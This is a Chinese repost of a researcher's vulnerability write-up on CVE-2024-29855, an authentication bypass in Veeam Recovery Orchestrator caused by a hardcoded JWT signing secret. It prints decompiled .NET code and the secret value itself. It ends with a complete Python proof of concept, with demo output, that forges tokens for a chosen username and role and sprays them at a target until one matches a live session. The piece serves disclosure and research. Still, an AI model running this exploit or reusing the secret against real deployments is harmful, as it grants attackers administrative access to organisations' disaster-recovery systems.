Veeam 发布了针对影响Veeam Recovery Orchestrator 的身份验证绕过漏洞 CVE-2024-29855 的CVSS 9公告，以下是我对此问题的完整分析和利用，虽然问题并不像听起来那么严重（不要惊慌）但我发现这个漏洞的机制有点有趣，并决定发布我的详细分析和利用。
简介（又是 TLDR）
6 月 10 日，Veeam 发布了一份公告，指出 Veeam Recovery Orchestrator 受到身份验证绕过的影响，允许未经身份验证的攻击者绕过身份验证并以管理员权限登录 Veeam Recovery Orchestrator Web UI。此漏洞的 CVSS 为 9.0
该漏洞是由于用于生成身份验证令牌的 JWT 密钥是一个硬编码值，这意味着未经身份验证的攻击者可以为任何用户（不仅仅是管理员）生成有效令牌并登录 Veeam Recovery Orchestrator。
官方咨询国家：
Veeam Recovery Orchestrator (VRO) 版本 7.0.0.337 中的漏洞 (CVE-2024-29855) 允许攻击者以管理权限访问 VRO Web UI。
注意：攻击者必须知道具有活动 VRO UI 访问令牌的帐户的确切用户名和角色才能完成劫持。
高级.NET利用
如果您很难理解这篇博文，但又想了解 .NET 漏洞利用，我最近公开了我的“高级 .NET 漏洞利用培训”，请注册并让我教您有关 .NET 相关漏洞的所有知识，如身份验证绕过、反序列化、缓解绕过等等。
让我们开始
该漏洞相当简单，使用硬编码的 JWT 密钥来生成和验证用户令牌，以下是令牌生成方法（也称为）的骨架Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken。人们可以很快注意到，在第 (4) 行，一个字节数组被分配了内容this._appSettings.Secret。
稍后在第（11）行，这个包含秘密的字节数组用于Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey通过将字节传递给其构造函数来实例化该类。然后将返回的实例传递给Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials作为其第一个参数，该参数为类型Microsoft.IdentityModel.Tokens.SecurityKey，对于第二个参数，使用以下值http://www.w3.org/2001/04/xmldsig-more#hmac-sha256，可以很快地说这就是算法被定义的地方hmac-sha256。
现在我们有一个已填充的实例，Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor用于Microsoft.IdentityModel.Tokens.SecurityToken在第（13）行创建一个，然后该对象被传递给jwtSecurityTokenHandler.WriteToken发布一个供用户使用的签名令牌。
1: public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response)2: {3: JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();4: byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);5: int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes;6: DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes);7: SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor8: {9: Subject = (ClaimsIdentity)principal.Identity,10: Expires = new DateTime?(dateTime),11: SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")12: };13: SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);14: string text = jwtSecurityTokenHandler.WriteToken(securityToken);15: AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo16: {17: Id = text,18: ClaimIdentity = principal,19: ExpiresUtc = new DateTimeOffset?(dateTime)20: });21: response.access_token = text;22: response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);}
如果你有兴趣验证提到的参数的类型，可以通过进入 Microsoft .NET 的实现来完成Microsoft.IdentityModel.Tokens.dll
1: using System;2: using System.Security.Cryptography.X509Certificates;3: using Microsoft.IdentityModel.Logging;4:5: namespace Microsoft.IdentityModel.Tokens6: {7:8: public class SigningCredentials9: {10:11: protected SigningCredentials(X509Certificate2 certificate)12: {13: if (certificate == null)14: {15: throw LogHelper.LogArgumentNullException("certificate");16: }17: this.Key = new X509SecurityKey(certificate);18: this.Algorithm = "RS256";19: }20:21:22: protected SigningCredentials(X509Certificate2 certificate, string algorithm)23: {24: if (certificate == null)25: {26: throw LogHelper.LogArgumentNullException("certificate");27: }28: this.Key = new X509SecurityKey(certificate);29: this.Algorithm = algorithm;30: }31:32:33: public SigningCredentials(SecurityKey key, string algorithm)34: {35: this.Key = key;36: this.Algorithm = algorithm;37: }
聪明的读者会问，它从哪里来this._appSettings.Secret？
要回答这个问题，我们可以首先看一下声明_appSettings，然后看一下它的初始化，下面是定义此类的类型的地方Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings。
我们很快就能发现public string Secret这个类别中我们感兴趣的成员。
1: using System;2:3: namespace Veeam.AA.Web.Auth4: {5:6: public class AppSettings7: {8:9: public string Secret { get; set; }10:11: public int RefreshTokenExpireMinutes { get; set; }12:13: public int AccessTokenExpireMinutes { get; set; }14:15: public bool WebDavLogEverything { get; set; }16:17: public bool WebDavUrlAuthorizationMode { get; set; }18: }19: }
现在我们需要了解这个类的实例在哪里初始化。以下是Veeam.AA.Web.Startup.Configure负责处理此 .net 应用程序的初始化例程的方法的实现，而行 (70) 是AppSettings最终实例化的地方。
public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter)1: {2: Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>());3: CancellationToken cancellationToken = applicationLifetime.ApplicationStopping;4: cancellationToken.Register(delegate5: {6: Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>());7: });8: cancellationToken = applicationLifetime.ApplicationStopped;9: cancellationToken.Register(delegate10: {11: Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());12: });13: if (env.IsDevelopment())14: {15: app.UseDeveloperExceptionPage();16: }17: app.UseSwagger(delegate(SwaggerOptions _)18: {19: });20: bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;21: app.UseSwaggerUI(delegate(SwaggerUIOptions options)22: {23: options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");24: options.InjectJavascript("/swagger.custom.js", "text/javascript");25: options.InjectStylesheet("/swagger.custom.css", "screen");26: options.DefaultModelExpandDepth(0);27: options.DefaultModelsExpandDepth(-1);28: options.DocExpansion(DocExpansion.None);29: for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)30: {31: ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];32: int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;33: int num = 0;34: if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)35: {36: string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());37: options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);38: }39: }40: options.EnableValidator(null);41: options.EnableDeepLinking();42: });43: string contentRootPath = env.ContentRootPath;44: PathString pathString = new PathString("");45: app.UseDefaultFiles(new DefaultFilesOptions46: {47: FileProvider = new PhysicalFileProvider(contentRootPath),48: RequestPath = pathString49: });50: app.UseStaticFiles(new StaticFileOptions51: {52: FileProvider = new PhysicalFileProvider(contentRootPath),53: RequestPath = pathString54: });55: app.UseRouting();56: app.UseSession();57: app.UseCors(delegate(CorsPolicyBuilder x)58: {59: x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();60: });61: Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);62: accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });63: NotificationServiceOptions pushServerOptions = new NotificationServiceOptions64: {65: AccessValidator = accessValidator66: };67: app.UseNotificationService(pushServerOptions);68: app.UseAuthentication();69: app.UseAuthorization();70: AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;71: app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);72: app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)73: {74: endpoints.MapControllers();75: endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");76: });77: Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());78: }
填充此类成员的值取自以下文件appsettings.json，让我们看一下该文件内部。
我们可以很快地知道Secret密钥包含 JWT 秘密，而该产品的问题在于 JWT“秘密”值始终保持“相同”（在最新补丁之前）
{"AppSettings": {"Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=","RefreshTokenExpireMinutes": 120,"AccessTokenExpireMinutes": 15,"WebDavLogEverything": "false","WebDavUrlAuthorizationMode": "false"},"Vcf": {"Host": "localhost","Port": 12348,"ReconnectInterval": "0.00:01:00"},"Logging": {"LogLevel": {"Default": "Information","Microsoft": "Warning","Microsoft.Hosting.Lifetime": "Information"}},"AllowedHosts": "*"}
现在我们了解了 JWT 令牌是如何生成的，人们可能会快速继续生成令牌，但对于这个产品，它不起作用，实际上有一些有趣的事情导致 CVSS 从 CVSS 9.8 下降到 CVSS 9，原因如下。
让我们看一下负责验证提供的 JWT 令牌的方法，该方法位于Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken
此方法的机制很简单，它期望以字符串形式传递一个令牌，然后继续创建我们在令牌生成部分讨论的类的实例（第 7 行），然后在第（8）行通过引用并将其值加载到字节数组中来JwtSecurityTokenHandler加载相同的硬编码 JWT 机密，然后（第 9 行）定义一个实例。this._appSettings.Secret 、ClaimsPrincipal
包含机密的字节数组用于实例化，SymmetricSecurityKey其返回值用于填充IssuerSigningKey成员属性，TokenValidationParameters其本身是传递给的第二个参数，用于jwtSecurityTokenHandler.ValidateToken验证已作为第一个参数传递的用户令牌，如果令牌通过验证，则将out securityToken包含已验证的令牌，以防从内部引发验证异常，则第Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken( catch26) 行的块用于捕获异常并分配null给先前定义的claimsPrincipal变量，意味着令牌无效。
但是，敏锐的眼睛可能会注意到这里的一些重要的东西，如果没有引发异常，那么在第（23）行，提供的令牌将被传递给AuthorizationTokenStore.AccessTokens.Get 类型的对象，AuthorizationInfo这种类型也称为Veeam.AA.Web.Auth.Models.AuthorizationInfo。
如果返回的值AuthorizationTokenStore.AccessTokens.Get不等于，null则最终claimsPrincipal填充并返回给调用者以告知令牌有效。
但是什么AuthorizationTokenStore.AccessTokens.Get？
1: public ClaimsPrincipal ValidateJwtToken(string token)2: {3: if (token == null)4: {5: return null;6: }7: JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();8: byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);9: ClaimsPrincipal claimsPrincipal;10: try11: {12: SecurityToken securityToken;13: jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters14: {15: ValidateIssuerSigningKey = true,16: IssuerSigningKey = new SymmetricSecurityKey(bytes),17: ValidateIssuer = false,18: ValidateAudience = false,19: RequireExpirationTime = true,20: ValidateLifetime = true,21: ClockSkew = TimeSpan.Zero22: }, out securityToken);23: AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);24: claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);25: }26: catch27: {28: claimsPrincipal = null;29: }30: return claimsPrincipal;31: }
不再赘述，简单来说，访问AuthorizationTokenStore.AccessTokens.Get内存中的对象列表，这个对象列表显然存储了对象，但对于我们的目的而言，它包含先前颁发的 JWT 令牌列表，这非常重要，您问为什么呢？好吧，即使我们设法（滥用）使用硬编码的 JWT 密钥来生成有效令牌，如果该令牌实际上不是在过去颁发的，则返回会AuthorizationTokenStore.AccessTokens.Get导致null也会authorizationInfo导致并且null令牌验证也会失败。claimsPrincipal、null
1: using System;2: using System.Collections.Concurrent;3: using System.Collections.Generic;4: using System.Linq;5: using System.Linq.Expressions;6: using System.Reflection;7:8: namespace Veeam.AA.Web.Auth9: {10:11: public class InMemoryObjectList<TEntity> where TEntity : class12: {13:14: public InMemoryObjectList()15: {16: this.CreateIdGetter();17: }18:19:20: private Func<TEntity, object> CreateIdGetter()21: {22: Type typeFromHandle = typeof(TEntity);23: PropertyInfo property = typeFromHandle.GetProperty("Id");24: if (property == null)25: {26: throw new ArgumentException("Entity must have Id property");27: }28: ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");29: Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));30: LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });31: this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;32: return this._idGetter;33: }34:35:36: public void Add(TEntity entity)37: {38: object obj = this._idGetter(entity);39: this._collection.TryAdd(obj, entity);40: }41:42:43: public TEntity Get(object id)44: {45: if (this._collection.ContainsKey(id))46: {47: return this._collection[id];48: }49: return default(TEntity);50: }51:52: [..SNIP..]
为了演示内存中的对象列表是什么样子的，以下是list经过多次身份验证请求后的运行时内容，该列表包含多个有效的 JWT 令牌的管理员会话
这正是 Veeam 官方咨询所指的（可以这么说）
他们声称，这种利用需要满足三个条件：
-
知道用户名
-
了解角色
-
目标具有活动会话
这是事实，这就是为什么这个问题的可利用性有点牵强，我同意这一点，但如你所知，我在这里是为了让这件事变得更有可能（只是一点点）
首先，“知道用户名”问题“有点”可以通过以下解决方案解决，假设存在一个名为的用户，[email protected]可以通过查看 SSL 证书的字段找到域名CN，并且可以对用户名进行喷洒，虽然有点蹩脚，但这就是我们现在所拥有的
其次，“知道”角色本身就是个笑话，经过进一步的逆向，我得出结论，角色可能的值只有 5 个，下面是这些角色的定义
1: using System;2: using System.Collections.Generic;3: using System.Runtime.CompilerServices;4:5: namespace Veeam.AA.Common.Security6: {7: [NullableContext(1)]8: [Nullable(0)]9: public static class RoleNames10: {11: public const string Anonymous = "Anonymous";12:13: public const string Administrator = "DRSiteAdmin";14:15: public const string PlanAuthor = "DRPlanAuthor";16:17: public const string PlanOperator = "DRPlanOperator";18:19: public const string SetupOperator = "SiteSetupOperator";20:21: public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };22: }23: }
第三，目标具有活动会话，我们上面讨论过这个，创建的 JWT Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken存储在 InMemoryObjectList 中，因此用户需要登录。
所以现在的计划很简单，在一段时间内生成有效的 JWT 令牌，并将它们喷洒到服务器上，直到我们获得命中。提供的 PoC 是用 python 编写的，我认为其他语言可以做得更快，我希望一个强大的小伙子或小伙子可以制作一个更快的 poc 并让我知道它。
事情经过如下：
演示
python CVE-2024-29855.py --start_time 1718264404 --end_time 1718264652 --username [email protected] --target https://192.168.253.180:9898/_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______|______ | | | | | | | | | | | | | | | | ____ | |______ |_____| | | |______| |_____| | | | | | | |_____| | _| __|__ | _| |_____| . | |______ | | | | |(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200(+) Response: {"user":"[email protected]","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}
概念验证
"""Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29855)Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/"""banner = r"""_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______|______ | | | | | | | | | | | | | | | | ____ | |______ |_____| | | |______| |_____| | | | | | | |_____| | _| __|__ | _| |_____| . | |______ | | | | |(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/"""""""""import jwtimport timeimport warningsimport requestsimport argparsefrom concurrent.futures import ThreadPoolExecutorimport signalimport syswarnings.filterwarnings("ignore")jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="counter = 0def exploit_token(token):global counterurl = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"headers = {"Authorization": f"Bearer {token}"}try:res = requests.get(url, verify=False, headers=headers)if(res.status_code == 200):print(f"(+) Pwned Token: {token}, Status code: {res.status_code}n(+) Response: {res.text}")counter = 21sys.exit(0)if(args.debug or counter == 10):print(f"(INFO) Spraying JWT Tokens: {res.status_code}")counter = 0except requests.exceptions.RequestException as e:if args.debug:print(f"(INFO) Request failed: {e}")counter += 1def generate_token_and_exploit(current_time):claims = {"unique_name": args.username,"role": "SiteSetupOperator","nbf": current_time,"exp": current_time + 900,"iat": current_time}encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")exploit_token(encoded_jwt)def signal_handler(sig, frame):print('Interrupted! Shutting down gracefully...')executor.shutdown(wait=False)sys.exit(0)if __name__ == "__main__":print(banner)parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)parser.add_argument("--username", type=str, help="[email protected] or evilcorp\administrator", required=True)parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)parser.add_argument("--debug", action="store_true", help="Enable debug mode")args = parser.parse_args()start_time = args.start_timeend_time = args.end_timesignal.signal(signal.SIGINT, signal_handler)with ThreadPoolExecutor() as executor:signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))current_time = start_timewhile current_time < end_time:try:executor.submit(generate_token_and_exploit, current_time)current_time += 1except KeyboardInterrupt:print("Keyboard interrupt received, shutting down...")executor.shutdown(wait=False)sys.exit(0)
参考
https://github.com/sinsinology/CVE-2024-29855
https://www.veeam.com/kb4585
There Are No Secrets || Exploiting Veeam CVE-2024-29855https://summoning.team/blog/veeam-recovery-orchestrator-auth-bypass-cve-2024-29855/
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原文始发于微信公众号（Ots安全）：没有秘密 || 利用 Veeam CVE-2024-29855
